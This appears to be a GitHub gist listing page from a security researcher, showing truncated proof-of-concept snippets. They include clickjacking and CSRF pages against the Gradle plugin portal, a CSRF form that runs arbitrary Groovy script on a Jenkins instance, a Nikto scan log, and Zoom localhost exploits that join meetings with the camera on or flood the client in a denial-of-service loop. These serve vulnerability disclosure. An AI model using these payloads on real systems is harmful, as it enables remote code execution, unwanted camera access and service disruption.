Skip to content

Instantly share code, notes, and snippets.

View JLLeitschuh's full-sized avatar

Jonathan Leitschuh JLLeitschuh

736 followers · 71 following
View GitHub Profile
@JLLeitschuh
JLLeitschuh / SecurityPlugin.java
Last active October 20, 2018 03:29
A malicious plugin.
package org.jlleitschuh.testing.security;
import org.gradle.api.Plugin;
import org.gradle.api.Project;
public class SecurityPlugin implements Plugin<Project> {
@Override
public void apply(final Project target) {
target.getLogger().lifecycle("A security plugin. I'm malicious!");
}
@JLLeitschuh
JLLeitschuh / build.gradle.kts
Last active October 20, 2018 14:17
Exposed User
buildscript {
repositories {
gradlePluginPortal()
}
dependencies {
/*
* In practice, this attack could have been leveraged against any plugin on
* the Gradle plugin portal.
* I created my own plugin for testing purposes.
*/
@JLLeitschuh
JLLeitschuh / Nikto Gradle Plugin Portal
Created November 1, 2018 15:24
Gradle Plugin Portal Nikto report.
nikto -h https://plugins.gradle.org/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 104.16.174.166
+ Target Hostname: plugins.gradle.org
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /OU=Domain Control Validated/OU=PositiveSSL Multi-Domain/CN=ssl473435.cloudflaressl.com
Altnames: ssl473435.cloudflaressl.com, *.gradle.org, gradle.org
Ciphers: ECDHE-ECDSA-CHACHA20-POLY1305
@JLLeitschuh
JLLeitschuh / plugin-portal-clickjack.html
Created November 1, 2018 15:53
Demonstrates Clickjacking against the Gradle Plugin Portal user account page
<html>
<head>
<style>
iframe { /* iframe from the victim site */
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0.5; /* in real opacity:0 */
@JLLeitschuh
JLLeitschuh / plugin-portal-csrf.html
Created November 1, 2018 17:58
Demonstrates CSRF against the Gradle Plugin Portal user account page
<?xml version="1.0" encoding="UTF-8"?>
<html>
<head></head>
<body>
<form action="https://plugins.gradle.org/user" method="POST" class="edit-profile-form" _lpchecked="1">
<dl id="name_field">
<dt>
<label for="name"></label>
</dt>
<dd>
@JLLeitschuh
JLLeitschuh / jenkins-csrf.html
Created February 21, 2019 17:51
Demonstrates CSRF Remote Code Execution attack against a Jenkins Instance that has CSRF protection disabled.
<html>
<body>
<form action="http://corperate-jenkins.lab.com:8080/script" method="POST">
<input type="hidden" name="script"
value="println 'Hello! I just ran an arbitrary bit of code on Jenkins!'; println Jenkins.instance.slaves"/>
<input type="submit" value="Submit!"/>
</form>
</body>
</html>
@JLLeitschuh
JLLeitschuh / UploadToArtifactory.kt
Created June 13, 2019 17:48
Gradle Plugin Build logic to upload single files to JFrog Artifactory
/* ****************************************************************************** */
// MIT License
//
// Copyright (c) 2019 Hewlett Packard Enterprise Development LP
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
@JLLeitschuh
JLLeitschuh / zoom_simple.txt
Created July 7, 2019 02:10
Simple example of the Zoom Vunlerability
http://localhost:19421/launch?action=join&confno=[some confrence number]
@JLLeitschuh
JLLeitschuh / zoom_poc_iframe.html
Created July 8, 2019 13:58
Simple POC that launches Zoom on Mac with your video camera activated using an iframe.
<iframe src="https://zoom.us/j/492468757"/>
@JLLeitschuh
JLLeitschuh / zoom_poc_dos.html
Created July 7, 2019 04:01
Denial of service POC for Zoom
<body>
<script>
// It's actually better if this number isn't a valid zoom number.
var attackNumber = "694138052"
setInterval(function(){
var image = document.createElement("img");
// Use a date to bust the browser's cache
var date = new Date();
image.src = "http://localhost:19421/launch?action=join&confno=" + attackNumber + "&" + date.getTime();